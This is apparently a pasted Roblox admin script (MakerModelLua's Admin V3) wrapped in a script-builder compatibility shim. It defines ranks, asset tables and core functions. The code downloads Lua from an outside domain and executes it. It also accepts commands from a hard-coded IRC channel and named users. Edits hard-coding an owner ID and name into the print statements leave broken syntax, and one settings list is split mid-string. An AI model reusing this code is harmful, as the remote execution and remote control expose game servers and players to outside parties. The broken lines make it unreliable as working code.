· 6 years ago · Jul 25, 2019, 10:48 PM
1if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
2local Player,Mouse,mouse,UserInputService,ContextActionService = owner
3do
4 print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
5 script.Parent = Player.Character
6
7 --RemoteEvent for communicating
8 local Event = Instance.new("RemoteEvent")
9 Event.Name = "UserInput_Event"
10
11 --Fake event to make stuff like Mouse.KeyDown work
12 local function fakeEvent()
13 local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
14 t.connect = t.Connect
15 return t
16 end
17
18 --Creating fake input objects with fake variables
19 local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
20 local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
21 local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
22 CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
23 end}
24 --Merged 2 functions into one by checking amount of arguments
25 CAS.UnbindAction = CAS.BindAction
26
27 --This function will trigger the events that have been :Connect()'ed
28 local function te(self,ev,...)
29 local t = m[ev]
30 if t and t._fakeEvent and t.Function then
31 t.Function(...)
32 end
33 end
34 m.TrigEvent = te
35 UIS.TrigEvent = te
36
37 Event.OnServerEvent:Connect(function(plr,io)
38 if plr~=Player then return end
39 if io.isMouse then
40 m.Target = io.Target
41 m.Hit = io.Hit
42 else
43 local b = io.UserInputState == Enum.UserInputState.Begin
44 if io.UserInputType == Enum.UserInputType.MouseButton1 then
45 return m:TrigEvent(b and "Button1Down" or "Button1Up")
46 end
47 for _,t in pairs(CAS.Actions) do
48 for _,k in pairs(t.Keys) do
49 if k==io.KeyCode then
50 t.Function(t.Name,io.UserInputState,io)
51 end
52 end
53 end
54 m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
55 UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
56 end
57 end)
58 Event.Parent = NLS([==[
59 local Player = game:GetService("Players").LocalPlayer
60 local Event = script:WaitForChild("UserInput_Event")
61
62 local UIS = game:GetService("UserInputService")
63 local input = function(io,a)
64 if a then return end
65 --Since InputObject is a client-side instance, we create and pass table instead
66 Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
67 end
68 UIS.InputBegan:Connect(input)
69 UIS.InputEnded:Connect(input)
70
71 local Mouse = Player:GetMouse()
72 local h,t
73 --Give the server mouse data 30 times every second, but only if the values changed
74 --If player is not moving their mouse, client won't fire events
75 while wait(1/30) do
76 if h~=Mouse.Hit or t~=Mouse.Target then
77 h,t=Mouse.Hit,Mouse.Target
78 Event:FireServer({isMouse=true,Target=t,Hit=h})
79 end
80 end]==],Player.Character)
81 Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
82end
83--[[
84Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
85If you want to know what commands do just go into your game and say ;cmds for a list of
86commands, what they do, examples, rank needed, and more!
87Or, go to http://www.classy-studios.com/V3/Commands.php
88If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
89
90
91TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
92
93--->> DO NOT EDIT THESE SETTINGS <<---
94Well you can but it's a waste of your time. The settings are located in workspace
95in a folder called "MakerModelLua's Settings". You can also use this plugin:
96
97http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
98
99USE REMOTE ADMIN:
100http://www.classy-studios.com/Login/
101Mobile: http://appsto.re/us/hEn7fb.i
102
103
104
105...also... this is open source! No stupid shady module scripts, which means it works in studio!
106
107]]
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
132
133
134local Settings = {
135 Ranks = {
136 ["Owner"] = {514800472};
137 ["Admin"] = {};
138 ["Member"] = {};
139 ["Banned"] = {};
140 ["Crashed"] = {};
141 ["Muted"] = {};
142 };
143
144 Prefix = ";";
145 Bet = " ";
146 MinimumAge = 0;
147 ServerLocked = false;
148 ColorScheme = "White";
149 TransparencyScheme = 50;
150 Fun = true;
151 EnableAdminMenu = true;
152 EnableTaskBar = true;
153 FreeAdmin = false;
154 Font = "Arial";
155
156 DisableAbuse = false;
157 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
158 AbusableGear = {};
159
160 LinkedAccount = "";
161 DataKey = "";
162
163 ExecuteNotificationSound = 0; --177578949
164 EnableSounds = true;
165
166 VIPMemberID = 0;
167 VIPAdminID = 0;
168
169 GroupID = 0;
170 GroupBanRank = 0;
171 GroupMemberRank = 0;
172 GroupAdminRank = 0;
173 GroupOwnerRank = 0;
174 GroupRankBan = 0;
175 BannedGroupIDs = {};
176
177 IRCServer = "";
178 IRCChannel = "";
179 IRCCommandExecuters = {};
180
181 TrelloToken = ""
182}
183
184local Colors = {
185 ["WHITE"] = Color3.new(1,1,1);
186 ["BLACK"] = Color3.new(0,0,0);
187 ["GRAY"] = Color3.new(0.5,0.5,0.5);
188 ["RED"] = Color3.new(1,0,0);
189 ["GREEN"] = Color3.new(0,1,0);
190 ["BLUE"] = Color3.new(0,0,1);
191 ["YELLOW"] = Color3.new(1,1,0);
192 ["PINK"] = Color3.new(1,0,1);
193 ["MAGENTA"] = Color3.new(1,0,1);
194 ["CYAN"] = BrickColor.new("Cyan").Color;
195 ["TEAL"] = BrickColor.new("Teal").Color;
196 ["BROWN"] = Color3.new(0.55,0.25,0.075);
197 ["PURPLE"] = Color3.new(0.5,0,0.5);
198 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
199}
200
201local Server = {
202 Workspace = game:GetService("Workspace");
203 Players = game:GetService("Players");
204 Lighting = game:GetService("Lighting");
205 MPS = game:GetService("MarketplaceService");
206 TS = game:GetService("TeleportService");
207 HS = game:GetService("HttpService");
208 RS = game:GetService("RunService");
209 PS = game:GetService("PointsService");
210 TestS = game:GetService("TestService");
211 IS = game:GetService("InsertService");
212 Teams = game:GetService("Teams");
213 Data = game:GetService("DataStoreService");
214 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
215 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
216 Storage = game:GetService("ServerStorage");
217 RS = game:GetService("ReplicatedStorage");
218 AS = game:GetService("AssetService");
219}
220
221local Icons = {
222 ["Message"] = 7724351;
223 ["Error"] = 94011556;
224 ["Information"] = 144175130;
225 ["Check"] = 132769976;
226 ["Search"] = 61994930;
227 ["Time"] = 136391033;
228 ["Notice"] = 156507320;
229 ["Sound"] = 164682936;
230 ["Log"] = 70650545;
231 ["Question"] = 41363872;
232 ["Output"] = 11481605;
233 ["Admin"] = 302470270;
234 ["Lock"] = 11341626;
235 ["Settings"] = 131064748;
236 ["Map"] = 257119661;
237 ["Plugin"] = 257097414;
238}
239
240local IRC = {
241 Codes = {
242 ["001"] = "RPL_WELCOME",
243 ["002"] = "RPL_YOURHOST",
244 ["003"] = "RPL_CREATED",
245 ["004"] = "RPL_MYINFO",
246 ["005"] = "RPL_ISUPPORT",
247 ["250"] = "RPL_STATSCONN",
248 ["251"] = "RPL_LUSERCLIENT",
249 ["252"] = "RPL_LUSEROP",
250 ["254"] = "RPL_LUSERCHANNELS",
251 ["255"] = "RPL_LUSERME",
252 ["265"] = "RPL_LOCALUSERS",
253 ["266"] = "RPL_GLOBALUSERS",
254 ["352"] = "RPL_WHOREPLY",
255 ["371"] = "RPL_INFO",
256 ["372"] = "RPL_MOTD",
257 ["374"] = "RPL_ENDINFO",
258 ["375"] = "RPL_MOTDSTART",
259 ["376"] = "RPL_ENDOFMOTD",
260 ["422"] = "ERR_NOMOTD",
261 },
262 Ignore = {
263 ["004"] = true,
264 ["005"] = true,
265 };
266 Users = {};
267 Logs = {};
268 Chats = {};
269 Forms = {};
270 MessageAdded = Instance.new("BindableEvent");
271
272 Servers = {
273 ["esper.net"] = {
274 BaseUrl = "http://webchat.esper.net/";
275 DynamicUrl = "";
276 };
277 ["quakenet.org"] = {
278 BaseUrl = "http://webchat.quakenet.org/";
279 DynamicUrl = "dynamic/leibniz",
280 };
281 ["swiftirc.net"] = {
282 BaseUrl = "http://qwebirc.swiftirc.net/";
283 DynamicUrl = "",
284 };
285 };
286 NickName = "rbxMMLV3_"..math.random(1,100000);
287
288 SessionCounter = 0;
289 Connected = false;
290 Stop = false;
291 SessionID = "";
292}
293
294local RankHUD = {
295 ["Muted"] = 202180094;
296 ["Non-Admin"] = 202180121;
297 ["Member"] = 202180052;
298 ["Admin"] = 202180015;
299 ["Owner"] = 202179988;
300}
301
302local TextConverter = {
303 LetterSounds = {
304 ["a"] = {223757826, nil}; -- 203343899
305 ["b"] = {223533700, 0.2}; -- 203344029
306 ["c"] = {223533711, nil}; -- 203343994
307 ["d"] = {223757910, nil}; -- 203398237
308 ["e"] = {223758026, nil}; -- 203398295
309 ["f"] = {223777655, nil}; -- 203398347
310 ["g"] = {223777738, nil}; -- 203398372
311 ["h"] = {223777757, nil}; -- 203398397
312 ["i"] = {223777807, nil}; -- 203398422
313 ["j"] = {223782888, nil}; -- 203398450
314 ["k"] = {223533711, nil}; -- 203343994
315 ["l"] = {223782961, 0.4}; -- 203398541
316 ["m"] = {223782992, nil}; -- 203398578
317 ["n"] = {223783063, nil}; -- 203398599
318 ["o"] = {223783184, nil}; -- 203398611
319 ["p"] = {223783235, nil}; -- 203398727
320 ["q"] = {223783260, nil}; -- 203398755
321 ["r"] = {223783305, 0.2}; -- 203398792
322 ["s"] = {223783377, nil}; -- 203398806
323 ["t"] = {223783446, nil}; -- 203398850
324 ["u"] = {223783512, nil}; -- 203398872
325 ["v"] = {223783654, nil}; -- 203398965
326 ["w"] = {223783697, nil}; -- 203398984
327 ["x"] = {223783796, nil}; -- 203399008
328 ["y"] = {223783853, nil}; -- 203399043
329 ["z"] = {223783893, nil}; -- 203399096
330
331 ["ch"] = {223784367, 0.3}; -- 203592149
332 ["th"] = {223788235, 0.3}; -- 203399215
333 ["sh"] = {223784505, 0.2}; -- 203399566
334 ["wh"] = {223784555, 0.3}; -- 203622828
335 ["oo"] = {223784456, 0.3}; -- 203399743
336 ["ing"] = {223784393, 0.3}; -- 203402836
337 };
338
339 LongVowels = {
340 ["a"] = {223533687, nil}; -- 203343932
341 ["e"] = {223777620, nil}; -- 203398314
342 ["i"] = {223777855, nil}; -- 203398440
343 ["o"] = {223783212, nil}; -- 203398619
344 ["u"] = {223783572, nil}; -- 203398897
345 };
346
347 Pronounce = {
348 ["0"] = "zero";
349 ["1"] = "wun";
350 ["2"] = "too";
351 ["3"] = "three";
352 ["4"] = "four";
353 ["5"] = "five";
354 ["6"] = "six";
355 ["7"] = "seven";
356 ["8"] = "eyt";
357 ["9"] = "nine";
358 ["one"] = "wun";
359 ["two"] = "too";
360 ["eight"] = "eyt";
361 ["eigh"] = "ey";
362 ["gh"] = "h";
363 ["kn"] = "n";
364 ["come"] = "cu".."m";
365 ["bye"] = "bi";
366 ["#"] = "hashtag";
367 ["@"] = "at";
368 ["&"] = "and";
369 ["*"] = "astrict";
370 ["mn"] = "m";
371 ["kn"] = "n";
372 ["ies"] = "ees";
373 };
374
375 NonEnglishRules = {
376 ["to"] = "too";
377 ["you"] = "yoo";
378 ["we"] = "wee";
379 ["are"] = "erh";
380 ["your"] = "yoor";
381 ["you're"] = "yoor";
382 ["youre"] = "yoor";
383 ["pizza"] = "peetzoh";
384 ["ok"] = "okay";
385 ["have"] = "hav";
386 ["my"] = "mi";
387 ["me"] = "mee";
388 ["u"] = "yoo";
389 ["r"] = "erh";
390 ["move"] = "moov";
391 ["dove"] = "duv";
392 ["debris"] = "debree";
393 ["do"] = "doo";
394 }
395}
396
397local HTMLDecode = {
398 ["35"] = "#";
399 ["36"] = "$";
400 ["37"] = "%%";
401 ["38"] = "*";
402 ["39"] = "'";
403 ["58"] = ":";
404 ["59"] = ";";
405 ["60"] = "<";
406 ["62"] = ">";
407}
408
409
410local Assets = {
411 Packages = {
412 [27112438] = {27112025,27112039,27112052,27112056,27112068};
413 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
414 [77518833] = {77518564,77518616,77518654,77518696,77518737};
415 [32336368] = {32336059,32336117,32336182,32336243,32336306};
416 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
417 [54116460] = {54116290,54116338,54116373,54116394,54116432};
418 [39977366] = {39976703,39976829,39976927,39977192,39977295};
419 [32357766] = {32357663,32357631,32357619,32357584,32357558};
420 [27123973] = {27121265,27121306,27121353,27121393,27121432};
421 [55717536] = {55717271,55717330,55717388,55717434,55717491};
422 [28279963] = {28279160,28279217,28279859,28279894,28279938};
423 [27403592] = {27402580,27402546,27402641,27402714,27402742};
424 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
425 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
426 [48474394] = {48474356,48474294};
427 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
428 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
429 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
430 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
431 [33378577] = {33378366,33378438,33378484,33378522,33378540};
432 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
433 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
434 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
435 [41851073] = {41850825,41850868,41850915,41851009,41850959}
436 };
437 AssetTypes = {
438 [0] = "Product";
439 [1] = "Image";
440 [2] = "T-Shirt";
441 [3] = "Audio";
442 [4] = "Mesh";
443 [5] = "Lua";
444 [6] = "HTML";
445 [7] = "Text";
446 [8] = "Hat";
447 [9] = "Place";
448 [10] = "Model";
449 [11] = "Shirt";
450 [12] = "Pants";
451 [13] = "Decal";
452 [16] = "Avatar";
453 [17] = "Head";
454 [18] = "Face";
455 [19] = "Gear";
456 [21] = "Badge";
457 [22] = "Group Emblem";
458 [24] = "Animation";
459 [25] = "Arms";
460 [26] = "Legs";
461 [27] = "Torso";
462 [28] = "Right Arm";
463 [29] = "Left Arm";
464 [30] = "Left Leg";
465 [31] = "Right Leg";
466 [32] = "Package";
467 [33] = "YouTube Video";
468 [34] = "Game Pass";
469 [38] = "Plugin";
470 [39] = "SolidModel";
471 [40] = "MeshPart";
472 [41] = "Hair Accessory";
473 [42] = "Face Accessory";
474 [43] = "Neck Accessory";
475 [44] = "Shoulder Accessory";
476 [45] = "Front Accessory";
477 [46] = "Back Accessory";
478 };
479 AccessoryTypes = {
480 ["all"] = 19;
481 ["hats"] = 9;
482 ["hair"] = 20;
483 ["face"] = 21;
484 ["neck"] = 22;
485 ["shoulder"] = 23;
486 ["front"] = 24;
487 ["back"] = 25;
488 ["waist"] = 26;
489 };
490}
491
492local CharacterCache = {
493 {"MakerModelLua", 38837082};
494 {"LuaModelMaker", 20920633};
495 {"builderman", 156};
496 {"Shedletsky", 261};
497 {"Telamon", 13645};
498 {"ROBLOX", 1};
499}
500
501local FaceCovert = {
502 Left = "xpos";
503 Right = "xneg";
504 Front = "zpos";
505 Back = "zneg";
506 Top = "ypos";
507 Bottom = "yneg";
508}
509
510local Meshes = {
511 ["crown"] = {1, 1078075};
512 ["king"] = {1, 11419761};
513 ["teapot"] = {0.03, 1029523};
514 ["apple"] = {2.5, 16190555};
515 ["potato"] = {1, 25268275};
516 ["panda"] = {0.5, 20709221};
517 ["dominus"] = {0.5, 21057410};
518 ["fedora"] = {0.75, 13640868};
519 ["noob"] = {1, 20929341};
520 ["knife"] = {0.3, 121944778};
521 ["book"] = {0.3, 1136139};
522}
523
524local NotifySounds = {
525 ["Hover"] = 223134269;
526 ["Select"] = 292141227;
527}
528
529local Trello = {
530 TrelloInfoCard = "x1rUtwEj";
531 MainBoard = {};
532 RequiredLists = {};
533 RankChecklistCache = {};
534 ToggleChecklist = nil;
535 CommandID = nil;
536 LastCommandDT = 0;
537 AdminBoardID = "577ea1b21cb7975666524f26";
538 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
539 RemoteDataCard = "dLtMo1en"
540}
541
542local ScriptBuilders = {
543 [260897989] = "MML's";
544 [21053279] = "Anti's pub";
545 [21053219] = "Anti's pri";
546 [20279777] = "Void's 1";
547 [437965235] = "Void's 2";
548 [227015991] = "Vox's";
549 [210101277] = "Master's";
550 [531937877] = "Bleu pigs";
551 [519251450] = "Game's";
552}
553
554-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
555-- Why else would I NOT have put it in a module?!?!?
556
557local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
558
559local SoundList,GlobalSoundList = {},{}
560local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
561local TempChatLogs = {}
562local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
563local NoSpeak = false
564
565local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
566local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
567
568local ChatLogs,CommandLogs = {},{}
569local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
570local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
571local Dispose,Jails,PermCommandBars = {},{},{}
572local Waypoints = {["Center"] = Vector3.new(0,0,0)}
573local Objects = {}
574local Sound = nil
575local ModLighting = false
576local DataReady = true
577local RemoteAbuseGear = {}
578
579local GameOwner = "[ Client ]"
580local PlaceName = "Unknown"
581local PlaceInfo = {}
582local IsStudio = false
583local IsSB = false
584local Date = nil
585local Fonts = {}
586local PendingRequests = {}
587local F3X = script:FindFirstChild("F3X Tools")
588local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
589local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
590local KeyBinds = {}
591local Crowns = {}
592local LastKeys = {}
593local Cars = {}
594local StringReplacements = {}
595local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
596local NoBet = {"/", "-", "(", ")", ""}
597local ShouldFilter = true
598
599local CrownStorage = script:FindFirstChild("CrownStorage")
600if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
601
602-- import old settings just in case --
603local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
604if OldSettings then
605 OldSettings = require(OldSettings)
606
607 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "
608 ID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
609 Settings[ValName] = OldSettings[ValName]
610 end
611 Settings.GroupBanRank = OldSettings.RankBan
612 Settings.Fun = OldSettings.FUN
613end
614
615if F3X then
616 F3X = F3X:Clone()
617 F3X.Handle.Anchored = false
618 script:FindFirstChild("F3X Tools"):Destroy()
619end
620
621wait(0.1)
622
623local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
624-- tries to defualt to server storage, just in case an exploiter makes their own settings.
625
626if SettingsValues then
627 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
628 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
629 for _,Value in pairs(SettingsValues:GetChildren()) do
630 if Settings[Value.Name] ~= nil then
631 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
632 for _,NewValue in pairs(Value:GetChildren()) do
633 if ypcall(function() return NewValue.Value end) then
634 if Settings[Value.Name][NewValue.Name] then
635 local Val = NewValue.Value
636 if type(Settings[Value.Name][NewValue.Name]) == "table" then
637 Val = {}
638 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
639 table.insert(Val, Word)
640 end
641 end
642 Settings[Value.Name][NewValue.Name] = Val
643 end
644 end
645 end
646 else
647 if Settings[Value.Name] ~= nil then
648 local Val = Value.Value
649 if type(Settings[Value.Name]) == "table" then
650 Val = {}
651 for Word in string.gmatch(Value.Value, "%w+") do
652 table.insert(Val, Word)
653 end
654 end
655 Settings[Value.Name] = Val
656 end
657 end
658 end
659 end
660 end
661end
662
663if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
664 Settings.LinkedAccount = ""
665elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
666 Settings.LinkedAccount = "Admin"
667end
668
669local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
670local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
671
672wait(1)
673
674local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
675
676if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
677
678if not IsStudio then
679 Server.NS = game:GetService("NetworkServer")
680 script.Name = "Maker".."Mo".."delLua's Admin"
681end
682
683if game.PlaceId > 0 then
684 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
685 PlaceName = PlaceInfo.Name
686end
687
688local function GetGameOwner()
689 if PlaceInfo.Creator.CreatorType == "Group" then
690 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(514800472).Owner.Name
691 print("MML's Admin: Found group owner for game: XxAla123xX")
692 elseif PlaceInfo.Creator.CreatorType == "User" then
693 GameOwner = PlaceInfo.Creator.Name
694 print("MML's Admin: Found game owner: XxAla123xX"
695 else
696 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(514800472) print("MML's Admin: Found game owner: "XxAla123xX) end)
697 end
698end
699
700if string.byte(string.sub(PlaceName,1,1)) == 226 then
701 PlaceName = string.sub(PlaceName,4,#PlaceName)
702end
703for i = 1,5 do
704 if GameOwner == "[ Client ]" then
705 print("MML's Admin: Attempting to establish owner's name #"..i)
706 GetGameOwner()
707 wait(1)
708 end
709end
710
711if ScriptBuilders[PlaceID] or NLS then
712 IsSB = true
713end
714
715if IsSB then
716 ShouldFilter = false
717 Settings.IRCServer = "swiftirc.net";
718 Settings.IRCChannel = "#PkamaraSB";
719 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
720 if Settings.TrelloToken == "" then
721 Settings.LinkedAccount = "ScriptBuilder"
722 end
723 if Settings.DataKey == "" then coroutine.wrap(function()
724 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
725 local Key = Server.Storage:FindFirstChild("MML DataKey")
726 print("Found key: "..Key.Value)
727 Settings.DataKey = Key.Value
728 Key:Destroy()
729 end)() end
730end
731local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
732table.insert(Settings.Ranks["Owner"], GameOwner)
733
734for _,Font in pairs(Enum.Font:GetEnumItems()) do
735 Fonts[Font.Name] = Font
736end
737
738local LogClient = script:FindFirstChild("AddClientInfo")
739if LogClient then LogClient:Destroy() end
740LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
741LogClient.OnServerInvoke = function(Player, Info)
742 if Info then
743 for Key,Data in pairs(Info) do
744 ClientInfo[Player.Name][Key] = Data
745 end
746 end
747end
748
749local function MakeFunction(Type, Name)
750 local Func = script:FindFirstChild(Name)
751 if Func then Func:Destroy() end
752 Func = Instance.new(Type, script) Func.Name = Name
753
754 getfenv()[Name] = Func
755 return Func
756end
757
758MakeFunction("BindableFunction", "ExecuteCommand")
759MakeFunction("RemoteFunction", "ExecuteCommandClient")
760MakeFunction("BindableFunction", "ExecuteCode")
761
762MakeFunction("RemoteFunction", "IsAdmin")
763MakeFunction("RemoteFunction", "AddExploit")
764MakeFunction("BindableFunction", "AddExploitServer")
765MakeFunction("RemoteFunction", "KickClient")
766MakeFunction("RemoteFunction", "ConvertTextToSound")
767
768MakeFunction("RemoteFunction", "KeyPressed")
769MakeFunction("RemoteFunction", "InputKey")
770
771MakeFunction("RemoteFunction", "RankPlayerLocal")
772MakeFunction("BindableFunction", "RankPlayerServer")
773
774--[[
775if NLS then
776 local Value = script:FindFirstChild("Override")
777 LogClient.Parent = game
778 if not Value then
779 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
780 local CloneScript = script:Clone()
781 CloneScript.Disabled = true
782 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
783 CloneScript.Disabled = false
784 CloneScript.Parent = nil
785
786 script:Destroy() script.Disabled = true
787 end
788end
789]]
790
791if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
792
793IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
794
795-- Core functions --
796
797function CORE:FixSettings()
798 for _,Bet in pairs(NoBet) do
799 if Settings.Bet == Bet then
800 Settings.Bet = " "
801 break
802 end
803 end
804 CORE:ChangeBet(Settings.Bet)
805
806 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
807 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
808
809 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
810 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
811 Settings.TransparencyScheme = Settings.TransparencyScheme/100
812
813 if not Fonts[Settings.Font] then
814 Settings.Font = "Arial"
815 end
816end
817
818function CORE:NilPlayer(Player)
819 if Player == nil or type(Player) == "table" then return true else return false end
820end
821
822function CORE:ExecuteResource(ResourceName, Parent, Data)
823 local ReturnScript = nil
824 local Executed = true
825 if script:FindFirstChild("Resources") then
826 local RawResource = script.Resources:FindFirstChild(ResourceName)
827 if RawResource then
828 local Resource = RawResource:Clone()
829 Resource.Disabled = true
830 Resource.Parent = Parent
831 if Data then
832 for Key,Value in pairs(Data) do
833 if Resource[Key] then
834 Resource[Key].Value = Value
835 end
836 end
837 end
838 wait()
839 Resource.Disabled = false
840 ReturnScript = Resource
841 else
842 Executed = false
843 end
844 else
845 Executed = false
846 end
847 if Executed == false then
848 if not Data then Data = {} end
849 local Source = ScriptCache[ResourceName]
850
851 if not Source then
852 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
853 if Source then
854 ScriptCache[ResourceName] = Source
855 end
856 end
857
858 if Data and Source then
859 for Key,Value in pairs(Data) do
860 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
861 end
862 end
863
864 if Source then
865 if NLS then
866 ReturnScript = NLS(Source, Parent)
867 elseif createLocalScriptWithSource then
868 ReturnScript = createLocalScriptWithSource(Source)
869 ReturnScript.Parent = Parent
870 end
871 end
872 end
873 return ReturnScript
874end
875
876function CORE:CreateRemotePropertyReader(Obj, Override)
877 if Server.Workspace.FilteringEnabled == true or Override then
878 local Reader = Instance.new("RemoteFunction", Obj)
879 Reader.Name = "RemotePropertyReader"
880 CORE:ExecuteResource("RemotePropertyReader", Reader)
881 return Reader
882 else
883 return Obj
884 end
885end
886
887function CORE:ReadProperty(Reader, Player, Property)
888 if Reader:IsA("RemoteFunction") then
889 return Reader:InvokeClient(Player, Property)
890 else
891 return Reader[Property]
892 end
893end
894
895function CORE:WriteProperty(Reader, Player, Property, Value)
896 if Reader:IsA("RemoteFunction") then
897 return Reader:InvokeClient(Player, Property, Value)
898 else
899 return Reader[Property]
900 end
901end
902
903
904function CORE:CreateRemoteEvent(Obj, EventName)
905 local Event = Instance.new("RemoteEvent", Obj)
906 Event.Name = "RemoteEvent_"..EventName
907 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
908 return Event
909end
910
911function CORE:HandleEvent(Obj, EventName, Func, NewThread)
912 local function Handle()
913 if Server.Workspace.FilteringEnabled == true then
914 local Event = CORE:CreateRemoteEvent(Obj, EventName)
915 return Event.OnServerEvent:connect(function(Player, ...)
916 Func(...)
917 end)
918 else
919 return Obj[EventName]:connect(Func)
920 end
921 end
922 if NewThread then
923 Spawn(Handle)
924 else
925 Handle()
926 end
927end
928
929function CORE:HandleError(Error, Speaker)
930 local Return = ""
931 if not Error or Error == "" then
932 Return = "Unknown Error"
933 else
934 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
935 end
936 if Speaker then
937 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
938 end
939 return Return
940end
941
942local function ExecuteSafe(Source, Speaker) -- no CORE
943 local Script, Error = loadstring(Source)
944 if Error then
945 return false, CORE:HandleError(Error, Speaker)
946 else
947 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
948 getfenv(Script).Server, getfenv(Script).script = Server,script
949 if Speaker then
950 getfenv(Script).print = function(...)
951 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
952 end
